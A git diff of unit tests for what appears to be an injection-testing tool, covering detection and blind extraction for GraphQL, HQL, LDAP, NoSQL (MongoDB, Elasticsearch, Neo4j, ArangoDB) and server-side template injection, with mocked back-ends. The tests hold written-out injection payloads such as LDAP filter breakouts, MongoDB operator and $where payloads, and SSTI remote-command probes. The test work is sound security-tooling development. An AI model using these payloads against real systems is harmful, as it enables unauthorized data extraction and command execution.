"string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertIsNone(truthBatch) # batching disabled for mutations + finally: + gi._gqlSend = saved + + def test_dryrun_flag_forced_true_even_when_optional(self): + # an optional Boolean 'dryRun' sibling is normally omitted; for a mutation probe it is forced + # true so the write does not commit + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("dryRun", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("mutation", "Mutation", "createUser", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "x") + self.assertIn("dryRun:true", q) + + class TestGraphqlSiblingDefaults(unittest.TestCase): """Required sibling arguments must use their real type, not be hardcoded as strings""" @@ -684,8 +869,9 @@ def test_numeric_sibling_not_quoted(self): self.assertIn("limit:0", q) self.assertNotIn('limit:"0"', q) - def test_boolean_sibling_gets_default_string(self): - """field(name: String!, active: Boolean!) -- Boolean gets \"x\" since there is no Boolean strategy""" + def test_boolean_sibling_uses_native_syntax(self): + """field(name: String!, active: Boolean!) -- a required Boolean renders as the native `false` + literal, NOT the quoted string "x" (which would make the whole query fail to parse)""" allArgs = [ ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), @@ -693,7 +879,20 @@ def test_boolean_sibling_gets_default_string(self): slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", "OBJECT", "User", "{ id }") q = gi._buildQuery(slot, "test") - self.assertIn('active:"x"', q) + self.assertIn('active:false', q) + self.assertNotIn('active:"x"', q) + + def test_optional_sibling_is_omitted(self): + """field(name: String!, verbose: Boolean) -- an OPTIONAL sibling with no default is omitted, + not filled with a bogus sentinel that would invalidate the query""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("verbose", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertNotIn("verbose", q) class TestGraphqlScalarReturnSelection(unittest.TestCase): diff --git a/tests/test_hql.py b/tests/test_hql.py index e594b82988b..0712b5ce04e 100644 --- a/tests/test_hql.py +++ b/tests/test_hql.py @@ -88,6 +88,39 @@ def test_no_detection_when_static(self): template, _, _ = hql._detectBoolean("GET", "name") self.assertIsNone(template) + def test_confirm_hql_battery_on_orm(self): + # a Hibernate back-end evaluates str(): str(1)='1' true, str(1)='2' false -> diverges -> HQL + # confirmed with no error leakage + def mock(place, parameter, value): + return "
row
" if "str(1)='1'" in value else "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertTrue(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_plain_sql(self): + # a raw-SQL back-end has no str() function -> the payload ERRORS on both sides -> no divergence + def mock(place, parameter, value): + if "str(" in value: + return "You have an error in your SQL syntax; no such function: str" + return "
row
" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_sqlite_flexible_cast(self): + # SQLite accepts arbitrary CAST type names, so CAST(1 AS string)='1' is TRUE on plain SQLite; + # the battery must NOT use cast aliases and must NOT confirm HQL here (str() has no SQLite fn -> + # errors -> no divergence). This is the exact P0-3 false-positive being guarded against. + def mock(place, parameter, value): + if "str(" in value: # SQLite: no such function -> error + return "SQLite error: no such function: str" + if "CAST(1 AS string)='1'" in value: # SQLite WOULD accept this as true... + return "
row
" + return "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) # ...but the battery no longer uses casts + def _recordOracle(record, entity="Member"): """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates @@ -150,6 +183,16 @@ def test_infer_numeric_via_cast(self): def test_infer_absent_attribute_empty(self): self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + def test_infer_inconclusive_aborts_value(self): + """A truth() that stays INCONCLUSIVE must abort the value (return None) rather than emit a + length/char chosen from an ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + def inconclusiveTruth(predicate): + raise InconclusiveError() + + self.assertIsNone(hql._inferValue(inconclusiveTruth, "Member", "name", "id")) + def _multiOracle(records): """Row-aware oracle: honors the "_h2. > " walk bound by selecting the diff --git a/tests/test_ldap.py b/tests/test_ldap.py index 469f4fed223..890bebe445c 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -281,6 +281,35 @@ def fakeSend(place, param, value): self.assertEqual(breakout, "*)") self.assertIn("*)(objectClass=*", bypass) + def test_ldap_breakout_uses_matched_false_filter(self): + # the false control must share the true control's breakout+attribute+open-fragment shape, + # differing ONLY in the assertion value: (attr=*) vs (attr=). It must NEVER be a + # bare original+SENTINEL string (an unmatched control a validation layer could diverge on). + sent = [] + + def spy(place, param, value): + sent.append(value) + return '{"count":15}' if value.startswith("x*)(objectClass=*") else '{"count":0}' + + ldap._send = spy + from lib.core.enums import PLACE + template, _, _ = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertTrue(any(v.endswith("=%s" % SENTINEL) and "(" in v for v in sent), + "no syntax-matched false LDAP filter control was sent: %r" % sent[:8]) + self.assertNotIn("x%s" % SENTINEL, sent) # the discredited bare original+SENTINEL is gone + + def test_ldap_403_is_inconclusive(self): + # a 403 (WAF / rate-limit) must NOT enter the oracle as a page - _send returns None + from lib.request.connect import Connect + from lib.core.enums import PLACE + orig = Connect.getPage + Connect.getPage = staticmethod(lambda **kw: ("blocked by WAF", {}, 403)) + try: + self.assertIsNone(ldap._send(PLACE.GET, 'q', 'x')) + finally: + Connect.getPage = orig + class TestExtraction(unittest.TestCase): def test_inferAttribute_simple(self): @@ -311,6 +340,47 @@ def test_inferAttribute_email(self): value = ldap._inferAttribute(oracle, builder, "mail") self.assertEqual(value, "admin@example.com") + def test_inferAttribute_inconclusive_aborts_not_truncates(self): + """An oracle that stays INCONCLUSIVE must abort the attribute (return None) rather than + truncate it to whatever prefix was recovered before the ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + builder = ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(InconclusiveOracle(), builder, "uid")) + + +class TestMultiValueDump(unittest.TestCase): + """Multi-valued LDAP attributes must NOT be 'enumerated' via entry-scoped negation (which excludes + the whole entry and mixes entries) - recover ONE matching value and label it honestly.""" + + def setUp(self): + self._exists, self._infer, self._dumpTable = ldap._exists, ldap._inferAttribute, ldap._dumpTable + + def tearDown(self): + ldap._exists, ldap._inferAttribute, ldap._dumpTable = self._exists, self._infer, self._dumpTable + + def test_reports_one_value_and_never_excludes(self): + captured = {} + exclusionsSeen = [] + + ldap._exists = lambda oracle, builder, attr, **kw: attr == "member" + def fakeInfer(oracle, builder, attr, constraint=None, exclusions=None, **kw): + exclusionsSeen.append(exclusions) + return "cn=alice,dc=x" if attr == "member" else None + ldap._inferAttribute = fakeInfer + ldap._dumpTable = lambda title, cols, rows: captured.update(title=title, cols=cols, rows=rows) + + dumped = ldap._dumpMultiValues(object(), ldap._ProbeBuilder(")"), "GET", "q") + self.assertTrue(dumped) + self.assertEqual(captured["rows"], [("cn=alice,dc=x",)]) # exactly one value + self.assertIn("one matching value", captured["title"].lower()) # honest label + # the broken exclusion walk must be gone: _inferAttribute is called WITHOUT exclusions + self.assertTrue(all(e in (None, [], ()) for e in exclusionsSeen)) + class TestIsError(unittest.TestCase): def test_isError_positive(self): diff --git a/tests/test_nosql.py b/tests/test_nosql.py index d0987272669..952af925ee9 100644 --- a/tests/test_nosql.py +++ b/tests/test_nosql.py @@ -11,6 +11,7 @@ """ import re +import time import unittest from _testutils import bootstrap @@ -54,6 +55,10 @@ def _mongo(place, parameter, op, value, isArray=False): def _es(place, parameter, value): if value == "*": return MATCH + if "AND NOT" in value: # Lucene (rand AND NOT rand) -> nothing + return NOMATCH + if value.startswith("(NOT ") and value.endswith(")"): # Lucene (NOT rand) -> everything + return MATCH if value == ni.NOSQL_SENTINEL: return NOMATCH if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored @@ -87,6 +92,25 @@ def test_not_injectable(self): ni._fetch = lambda *args, **kwargs: MATCH self.assertIsNone(ni._detectMongo("GET", "password")) + def test_resolve_vector_carries_false_model(self): + # the LIVE vector must carry a calibrated false model so extraction is dual-model, not one-sided + vector = ni._resolve("GET", "password", "password") + self.assertIsNotNone(vector) + self.assertEqual(vector.falseModel, NOMATCH) # $in[sentinel] no-match page + + def test_dual_model_extraction_and_unrelated_page_inconclusive(self): + template = MATCH + falseModel = NOMATCH + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass, + falseModel=falseModel) + self.assertEqual(value, SECRET) + # an unrelated usable page (neither true nor false model) must be inconclusive, not a false bit + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated captcha page", "A", MATCH, NOMATCH) + class TestNoSqlElasticsearch(unittest.TestCase): def setUp(self): @@ -113,16 +137,19 @@ def test_not_injectable(self): def _cypher(place, parameter, value): - if "'1'='1" in value: - return MATCH - if "'1'='2" in value: - return NOMATCH + m = re.search(r"STARTS WITH '([^']*)'", value) # Cypher-only prefix predicate on 'ab' + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator if m: try: return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH except re.error: return NOMATCH + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH return NOMATCH @@ -239,6 +266,16 @@ def test_extract(self): charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + def test_where_delay_is_dos_bounded(self): + # the per-document busy-loop must be capped to ONE document per query (shared-scope counter), + # so a loose/unconditional condition on a large collection cannot block for docCount*timeSec. + # The condition and delay budget must still be embedded verbatim (oracle unchanged). + payload = ni._whereDelay("true") + self.assertIn("__c", payload) # shared-scope counter present + self.assertIn("__c<1", payload) # loop gated on the one-shot cap + self.assertIn("(true)", payload) # original condition preserved + self.assertIn(str(int(ni.conf.timeSec * 1000)), payload) # delay budget preserved + def _jswhere(place, parameter, value): # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint @@ -295,7 +332,7 @@ def setUp(self): names = [name for name, _ in self.DOC] values = dict(self.DOC) - def fake(place, parameter, bound, expr, threshold): + def fake(place, parameter, bound, expr, threshold, strict=False): m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) if m: index = int(m.group(1)) @@ -311,7 +348,7 @@ def tearDown(self): ni._whereField = self._orig def test_dump(self): - columns, rows = ni._whereDump("GET", "password", "", 0) + columns, rows, bound, complete = ni._whereDump("GET", "password", "", 0) self.assertEqual(columns, ["id", "username", "password", "role"]) self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) @@ -320,6 +357,88 @@ def test_empty_document(self): self.assertIsNone(ni._whereDump("GET", "password", "", 0)) +class TestNoSqlRecordBinding(unittest.TestCase): + """A whole-document dump must be flagged bound only when a unique-record constraint pins it; an + unbound dump (no distinguishing sibling) is representative, not one coherent document.""" + + def test_vector_bound_defaults_true(self): + self.assertTrue(ni.Vector("X", None, None, None).bound) + self.assertFalse(ni.Vector("X", None, None, None, bound=False).bound) + + def test_where_vector_unbound_without_sibling(self): + # single injected param, no sibling -> _constraint is "" -> $where dump is representative + ni.conf.parameters = {ni.PLACE.GET: "name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + self.assertEqual(ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d."), "") + + def test_where_vector_bound_with_sibling(self): + # a distinguishing sibling pins the record -> bound constraint is non-empty + ni.conf.parameters = {ni.PLACE.GET: "id=7&name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + bound = ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d.") + self.assertIn("d.id=='7'", bound) + self.assertTrue(bool(bound)) + + +class TestNoSqlTriStateOracle(unittest.TestCase): + """A failed/blocked NoSQL response is UNKNOWN, retried, then aborts - never a silent false bit.""" + + def test_content_bit_retries_transient_then_recovers(self): + state = {"n": 0} + def fetch(value): + state["n"] += 1 + return None if state["n"] == 1 else "TEMPLATE" # first send fails, retry recovers + self.assertTrue(ni._contentBit(fetch, "A", "TEMPLATE")) + + def test_content_bit_persistent_failure_raises(self): + self.assertRaises(ni.InconclusiveError, ni._contentBit, lambda v: None, "A", "TEMPLATE") + + def test_content_bit_error_page_is_not_true(self): + # an error page is unusable -> retried -> InconclusiveError, never classified true/false + self.assertRaises(ni.InconclusiveError, ni._contentBit, + lambda v: "MongoServerError: unknown operator: $foo", "A", "TEMPLATE") + + def test_extract_aborts_value_on_inconclusive(self): + # a persistently failing oracle aborts the value (None), never fabricates a length/char + self.assertIsNone(ni._extract("TMPL", lambda v: None, + lambda n: "len>=%d" % n, lambda k, c: "char", truthFn=None)) + + def test_timed_bit_rejects_blocked_slow_response(self): + # a slow response that is BLOCKED (WAF/5xx) must not count as a true timing bit + self._fv = ni._fetchValue + try: + ni._lastCode = 429 + ni._fetchValue = lambda *a, **k: (time.sleep(0.01) or "") # slow but blocked (_isError via 429) + self.assertRaises(ni.InconclusiveError, ni._timedBit, "GET", "q", "payload", 0.0) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + def test_content_bit_unrelated_page_is_inconclusive_not_false(self): + # P0-2: a usable page matching NEITHER the true nor the false model is UNKNOWN, not false - + # with both models supplied it must abort (InconclusiveError), never silently return False + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated soft-WAF page", "A", "AAAAA", "BBBBB") + + def test_content_bit_both_models_classify_true_and_false(self): + self.assertTrue(ni._contentBit(lambda v: "AAAAA", "A", "AAAAA", "BBBBB")) + self.assertFalse(ni._contentBit(lambda v: "BBBBB", "A", "AAAAA", "BBBBB")) + + def test_detect_where_rejects_blocked_slow_responses(self): + # P0-2: delayed BLOCKED responses (zero usable) must NOT establish a $where timing threshold + self._fv = ni._fetchValue + try: + ni.conf.timeSec = 5 + ni.conf.parameters = {ni.PLACE.GET: "q=1"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "1"}} + ni._lastCode = 503 + ni._fetchValue = lambda *a, **k: (time.sleep(0.02) or None) # slow AND blocked/failed + self.assertIsNone(ni._detectWhere("GET", "q")) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + class TestNoSqlEnumDump(unittest.TestCase): """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" @@ -327,11 +446,13 @@ class TestNoSqlEnumDump(unittest.TestCase): def setUp(self): self._ef, self._fv = ni._enumField, ni._fetchValue - ni._fetchValue = lambda *args, **kwargs: "Welcome" # non-error single-record template + # true (any-match '.*') vs false (never-match sentinel) template must be SEPARABLE so _enumDump + # can calibrate both models; a constant page would (correctly) disable the dump + ni._fetchValue = lambda place, parameter, value: (NOMATCH if ni.NOSQL_SENTINEL in value else MATCH) names = [name for name, _ in self.DOC] values = dict(self.DOC) - def fake(place, parameter, template, payloadFor): + def fake(place, parameter, template, payloadFor, strict=False, falseModel=None): probe = payloadFor("X") # render to inspect the target expression m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] if m: @@ -349,9 +470,11 @@ def tearDown(self): def _check(self, keysExpr, valueExpr): makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) - columns, rows = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + columns, rows, bound, complete = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) self.assertEqual(columns, ["id", "username", "password", "role"]) self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + # a constraint-only enum dump is NOT proven single-record -> the dump reports itself unbound + self.assertFalse(bound) def test_cypher(self): self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) @@ -428,7 +551,11 @@ def test_unstructured_returns_none(self): def _numeric(place, parameter, value): - # numeric-context oracle: 'OR 1=1' is always-true (rows), 'AND 1=2' is false (no rows) + # numeric-context Neo4j: 'OR 1=1' is always-true (rows), 'AND 1=2' is false, PLUS the Cypher-only + # STARTS WITH prefix predicate the detector now requires to attribute Neo4j (vs plain SQL) + m = re.search(r"STARTS WITH '([^']*)'", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH if "OR 1=1" in value: return MATCH if "AND 1=2" in value: @@ -492,7 +619,11 @@ def test_resolve_numeric_couchbase(self): def _numericAql(place, parameter, value): - # numeric-context ArangoDB: only the ||/&& family diverges (OR/AND and REGEXP_CONTAINS do not) + # numeric-context ArangoDB: the ||/&& family diverges, PLUS the AQL-only two-arg LIKE(text, search) + # function the detector now requires to attribute ArangoDB (SQL's LIKE is an operator, not a function) + m = re.search(r"LIKE\('ab', '([^%]*)%'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH return MATCH if "|| 1==1" in value else NOMATCH @@ -545,7 +676,7 @@ def test_extract(self): self.assertEqual(value, SECRET) def test_dump_binds_sibling(self): - columns, rows = ni._partiqlDump("GET", "password", "password") + columns, rows, bound, complete = ni._partiqlDump("GET", "password", "password") self.assertEqual(columns, ["password"]) self.assertEqual(rows, [[SECRET]]) @@ -613,6 +744,118 @@ def test_constraint_binds_siblings(self): self.assertIn("u.session='abc'", constraint) self.assertIn("u.username='luther'", constraint) + def test_constraint_escapes_literal_and_skips_non_identifiers(self): + # a quote/backslash in a sibling value must be escaped (not break out of the string literal), + # and a non-identifier field name must be skipped rather than alter the predicate structure + ni.conf.parameters = {ni.PLACE.GET: "q=x&name=o'brien&weird.field=v&password=p"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "x"}} + constraint = ni._constraint(ni.PLACE.GET, "q") + self.assertIn("u.name='o\\'brien'", constraint) # single quote escaped + self.assertNotIn("weird.field", constraint) # dotted (non-identifier) name skipped + self.assertIn("u.password='p'", constraint) + + +class TestNoSqlJsonRawReplace(unittest.TestCase): + """Parse-failure JSON fallback: mutate ONLY the target key's value span in a JSON-like body, never + reconstruct it with a form serializer (which would produce unrelated 'name=value&...' content).""" + + def test_double_quoted_value_replaced_in_place(self): + body = '{"name": "luther", "role": "user"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"name": {"$ne": null}, "role": "user"}') + self.assertIn('"role": "user"', out) # sibling preserved verbatim + + def test_json_like_single_quotes_not_form_serialized(self): + # single-quoted -> json.loads() fails in the real flow; the span replace still works and the + # body stays JSON-shaped (no '&', no 'name=value' reconstruction) + body = "{'name': 'luther', 'active': true}" + out = ni._jsonRawReplace(body, "name", "payload") + self.assertIsNotNone(out) + self.assertIn("'active': true", out) # sibling + JS literal preserved + self.assertNotIn("&", out) + self.assertTrue(out.strip().startswith("{")) # still a JSON object, not form content + + def test_bareword_and_numeric_values(self): + self.assertEqual(ni._jsonRawReplace('{"age": 42}', "age", 7), '{"age": 7}') + self.assertEqual(ni._jsonRawReplace('{"ok": true}', "ok", "x"), '{"ok": "x"}') + + def test_missing_key_returns_none(self): + # key absent -> None so the caller SKIPS the probe rather than corrupt the body + self.assertIsNone(ni._jsonRawReplace('{"other": "v"}', "name", "x")) + + def test_key_like_text_inside_string_is_not_matched(self): + # the reviewer's reproduction: 'name: old' inside the "note" STRING must NOT be mutated - only + # the real "name" property is replaced + body = '{"note":"name: old", "name":"real"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"note":"name: old", "name":{"$ne": null}}') + self.assertIn('"note":"name: old"', out) # decoy string untouched + + def test_key_like_text_inside_single_quoted_string(self): + body = "{'note':'name: trap', 'name':'real'}" + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("'note':'name: trap'", out) # decoy untouched + self.assertTrue(out.endswith('"P"}')) # real value replaced + + def test_key_like_text_inside_comment_is_not_matched(self): + body = '{/* name: not here */ "name": "real"}' + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("/* name: not here */", out) # comment untouched + self.assertIn('"name": "P"', out) + + def test_object_and_array_values_replaced_whole(self): + # an object/array as the original value must be replaced in full, not partially + self.assertEqual(ni._jsonRawReplace('{"f": {"a": 1, "b": [2, 3]}, "g": 9}', "f", "X"), + '{"f": "X", "g": 9}') + self.assertEqual(ni._jsonRawReplace('{"f": [1, {"x": "}"}, 2], "g": 9}', "f", 0), + '{"f": 0, "g": 9}') + + def test_nested_property_located_at_depth(self): + # a nested property (not top-level) is located and replaced without disturbing structure + out = ni._jsonRawReplace('{"outer": {"name": "luther"}}', "name", {"$ne": None}) + self.assertEqual(out, '{"outer": {"name": {"$ne": null}}}') + + def test_brace_inside_string_value_does_not_close_object(self): + # a '}' inside a string value must not end the value token early + out = ni._jsonRawReplace('{"a": "va}lue", "name": "x"}', "name", "P") + self.assertIn('"a": "va}lue"', out) + self.assertIn('"name": "P"', out) + + def test_brace_inside_comment_in_value_does_not_close_object(self): + # reviewer P0-2 reproduction: a '}' inside a COMMENT within an object value closed it early + out = ni._jsonRawReplace('{"f": {/* } */ "a": 1}, "g": 9}', "f", "X") + self.assertEqual(out, '{"f": "X", "g": 9}') + + def test_key_like_text_inside_regex_literal_is_not_matched(self): + # reviewer P0-2 reproduction: 'name:' inside a /regex/ literal must not be taken as the property + out = ni._jsonRawReplace('{pattern: /name: trap/, name: "real"}', "name", "P") + self.assertEqual(out, '{pattern: /name: trap/, name: "P"}') + + def test_regex_with_slash_in_char_class(self): + # a regex value containing '/' inside a [..] class and a '}' must be skipped whole + out = ni._jsonRawReplace('{"re": /[a/}]x/, "name": "y"}', "name", "P") + self.assertIn("/[a/}]x/", out) + self.assertIn('"name": "P"', out) + + def test_backtick_string_is_not_a_key(self): + # a backtick template value containing 'name:' must not be mistaken for the property + out = ni._jsonRawReplace('{"tpl": `name: ${x}`, "name": "z"}', "name", "P") + self.assertIn("`name: ${x}`", out) + self.assertIn('"name": "P"', out) + + def test_regex_value_flags_consumed(self): + # P0-6: a regex value's span must include trailing flags, else a dangling 'i' is left behind + self.assertEqual(ni._jsonRawReplace('{re: /abc/i, name: "x"}', "re", "P"), + '{re: "P", name: "x"}') + + def test_duplicate_key_at_different_depths_is_skipped(self): + # P0-6: with only the leaf key name, an ambiguous body (same key at 2 places) must be SKIPPED, + # never guessed - the payload could otherwise reach the wrong field + self.assertIsNone(ni._jsonRawReplace('{"outer":{"name":"first"},"name":"second"}', "name", "P")) + + def test_single_occurrence_still_mutates(self): + self.assertEqual(ni._jsonRawReplace('{"a":1,"name":"real"}', "name", "P"), '{"a":1,"name":"P"}') + class TestNoSqlErrorRegex(unittest.TestCase): """The heuristic regex must match real back-end error structures, not bare product names (so an @@ -660,6 +903,27 @@ def test_ignores_benign_text(self): self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) +class TestNoSqlNoneSafety(unittest.TestCase): + """A blocked/failed request makes _send() return None; the fingerprint/error helpers must not + crash calling .lower() on it.""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *a, **k: None + ni._fetchValue = lambda *a, **k: None + ni.conf.parameters = {"GET": "q=x"} + ni.conf.paramDict = {"GET": {"q": "x"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_nosql_failed_fingerprint_does_not_crash(self): + # None responses must not raise (was: 'NoneType' has no attribute 'lower') + self.assertIn(ni._fingerprintMongo("GET", "q"), ("CouchDB", "MongoDB", "MongoDB/CouchDB-compatible operator back-end")) + self.assertIn(ni._fingerprintLucene("GET", "q"), ("Solr", "OpenSearch", "Lucene query_string-compatible back-end")) + self.assertIsNone(ni._detectError("GET", "q")) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 5ba345468ed..54c6419f1f2 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -145,6 +145,15 @@ def mock(place, parameter, value): page = ssti._probeError("GET", "q", engine) self.assertIsNone(page) + def test_ssti_static_engine_error_is_not_confirmation(self): + # a static template-parser error (present for every value, no arithmetic/boolean evaluation + # proof) must NOT confirm SSTI - only reflect the payload and always leak an engine name + def mock(place, parameter, value): + return "debug: jinja2.exceptions.TemplateSyntaxError (cached). you sent: " + value + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNone(engine) # no evaluation proof -> not a confirmed SSTI + def test_backend_from_error(self): page = "jinja2.exceptions.UndefinedError: 'foo' is undefined" backend = ssti._backendFromError(page) @@ -222,6 +231,36 @@ def mock(place, parameter, value): template = ssti._detectBoolean("GET", "q", engine) self.assertIsNone(template) + def test_true_marker_in_baseline_rejected(self): + """When the true marker ('True') is already present in the untouched baseline it is page + furniture, not our evaluated output, so its appearance cannot confirm a boolean oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2, trueRendered='True' + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "flag=True ok" + if "{{ False }}" in value: + return "flag=True no" # diverges, but 'True' still shown + return "flag=True baseline" # 'True' already in the baseline + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + + def test_error_pages_are_not_a_boolean_oracle(self): + """Two syntactically invalid true/false payloads that merely trip DIFFERENT engine error + messages diverge, but an error page is not a rendered boolean -> no oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "jinja2.exceptions.UndefinedError: x" + if "{{ False }}" in value: + return "TemplateSyntaxError: y" + return "baseline" + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + class TestFingerprint(unittest.TestCase): def setUp(self): @@ -393,6 +432,100 @@ def test_replace_segment_missing_param(self): self.assertEqual(result, "a=1&b=xx") +class TestRceProof(unittest.TestCase): + """Proof-of-execution via a DERIVED challenge: reflection (raw OR transformed) must NOT be accepted.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_derived_executed_needs_product_absent_from_request(self): + # the product proves execution: present in the page, absent from baseline + self.assertTrue(ssti._derivedExecuted("page 6772561 footer", "baseline", "6772561")) + self.assertIsNone(ssti._derivedExecuted("page without it", "baseline", "6772561")) + # product already in baseline -> not attributable + self.assertIsNone(ssti._derivedExecuted("x 6772561 x", "seen 6772561 here", "6772561")) + + def test_probe_rce_rejects_raw_reflection(self): + # an app that echoes the whole request body verbatim: the product ($((A*B)) result) is NEVER in + # the request, so it cannot appear in a reflected response -> not RCE-capable + engine = ssti._ENGINE_TABLE[0] # Jinja2 (no _FILE_RCE spec -> file path is a no-op) + ssti._send = lambda place, parameter, value: "Hello, %s!" % value # pure reflection + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_rejects_url_encoded_reflection(self): + # KEY P0-4 case: the app reflects the URL-ENCODED payload. A marker-in-payload check would pass; + # the derived product is still absent from any reflected form -> correctly NOT RCE-capable + from thirdparty.six.moves.urllib.parse import quote + engine = ssti._ENGINE_TABLE[0] + ssti._send = lambda place, parameter, value: "reflected: %s" % quote(value, safe="") + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_all_collisions_do_not_confirm(self): + # every generated product collides with the baseline -> every challenge is skipped; the loop + # must NOT fall through to success with zero executed payloads (counts confirmations, not iters) + engine = ssti._ENGINE_TABLE[0] + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._send = lambda place, parameter, value: "result is 4 everywhere" # baseline contains "4" + self.assertFalse(ssti._probeRce("GET", "q", engine)) + finally: + _m.randomInt = orig + + def test_probe_rce_confirms_real_execution(self): + # a backend that actually evaluates `echo $((A*B))` returns the PRODUCT as command output + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"echo \$\(\((\d+)\*(\d+)\)\)", value) + if m: + return "%d" % (int(m.group(1)) * int(m.group(2))) # shell-evaluated product + return "baseline" + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_framed_output_markers_are_reflection_proof(self): + # markers are shell-concatenated fragments: the completed 'startABstartCD' never appears in the + # request, so only genuine execution places them in the page + start, end = "aaaaaabbbbbb", "ccccccdddddd" + executed = "junk %suid=0(root) gid=0(root)%s junk" % (start, end) + self.assertEqual(ssti._framedOutput(executed, start, end), "uid=0(root) gid=0(root)") + # a response that lacks the concatenated markers (e.g. reflected 'aaaaaa bbbbbb' separated) -> None + self.assertIsNone(ssti._framedOutput("printf %s%s aaaaaa bbbbbb ...", start, end)) + + def test_probe_rce_confirms_on_windows_backend(self): + # a Windows-hosted engine evaluates `cmd /c set /a A*B` (Unix `$((...))` does nothing) - the + # derived product still proves execution, so capability detection works on Windows too + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"set /a (\d+)\*(\d+)", value) # cmd.exe set /a arithmetic + if m and 